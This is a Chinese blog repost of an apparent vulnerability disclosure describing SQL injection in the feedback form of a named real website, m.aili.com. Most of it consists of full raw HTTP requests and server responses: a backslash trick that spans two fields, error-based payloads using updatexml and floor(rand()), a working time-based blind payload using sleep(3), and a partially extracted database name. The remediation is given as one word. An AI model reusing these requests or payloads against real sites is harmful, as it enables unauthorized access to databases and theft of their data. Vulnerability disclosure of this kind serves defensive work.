纵有疾风起
人生不言弃

爱丽网某站mysql注入 – 网站安全 – 自学php网

网站:m.aili.com

info 和emil都存在注入,两个点结合才能利用

首先是报错注入

POST /setting/feedback/?c=wap&m=setting&a=feedback HTTP/1.1
Referer: http://m.aili.com/setting/feedback/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Host: m.aili.com
Cookie: PHPSESSID=d24b1ad475194aadeb43cb96749ee447
Content-Length: 40
Accept-Encoding: gzip, deflate

email='&dosubmit=%ef%bf%bd%e1%bd%bb&info=



HTTP/1.1 200 OK
Date: Fri, 20 Feb 2015 23:50:36 GMT
Server: By AILI/3.3
Content-Type: text/html
X-Powered-By: PHP/5.2.14p1
X-Via: 1.1 shhl147:9 (Cdn Cache Server V2.0)
Connection: keep-alive
Content-Length: 1564

System Maintenance......<br>Please wait Try.Invalid SQL: INSERT INTO `app_feedback`(`email`,`content`) VALUES ('\','')<!DOCTYPE html>
<html>
<head>

两个地方结合闭合括号才能利用,目测是二次注入

POST /setting/feedback/?c=wap&m=setting&a=feedback HTTP/1.1
Referer: http://m.aili.com/setting/feedback/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Host: m.aili.com
Cookie: PHPSESSID=d24b1ad475194aadeb43cb96749ee447
Content-Length: 43
Accept-Encoding: gzip, deflate

email='&dosubmit=%ef%bf%bd%e1%bd%bb&info=a

HTTP/1.1 200 OK
Date: Fri, 27 Feb 2015 13:24:21 GMT
Server: By AILI/3.3
Content-Type: text/html
X-Powered-By: PHP/5.2.14p1
X-Via: 1.1 jsycdx94:9 (Cdn Cache Server V2.0)
Connection: keep-alive
Content-Length: 1566

System Maintenance......<br>Please wait Try.Invalid SQL: INSERT INTO `app_feedback`(`email`,`content`) VALUES ('\','a\')<!DOCTYPE html>
<html>
<head>

构造如下报错注入不能成功

POST /setting/feedback/?c=wap&m=setting&a=feedback HTTP/1.1
Referer: http://m.aili.com/setting/feedback/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Host: m.aili.com
Cookie: PHPSESSID=d24b1ad475194aadeb43cb96749ee447
Content-Length: 61
Accept-Encoding: gzip, deflate

email='&dosubmit=%ef%bf%bd%e1%bd%bb&info=,(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))%23


这个payload也不行
(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from 

information_schema.tables group by x)a)

暂时只能盲注

POST /setting/feedback/?c=wap&m=setting&a=feedback HTTP/1.1
Referer: http://m.aili.com/setting/feedback/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Host: m.aili.com
Cookie: PHPSESSID=d24b1ad475194aadeb43cb96749ee447
Content-Length: 61
Accept-Encoding: gzip, deflate

email='&dosubmit=%ef%bf%bd%e1%bd%bb&info=,NULL%2bsleep(3))%23

出点数据吧:

database()=neqcmsK*

解决方案:

过滤

    上一篇: 在HTML5移动应用中挖掘XSS漏洞 – 网站安全 – 自学php网

    下一篇: 百度联盟代码缺陷导致使用百度推广的网站存在DOM XSS(以天涯,58同城,赶集网为例说明) – 网站
未经允许不得转载:起风网 » 爱丽网某站mysql注入 – 网站安全 – 自学php网
分享到: 生成海报

评论 抢沙发

评论前必须登录!

立即登录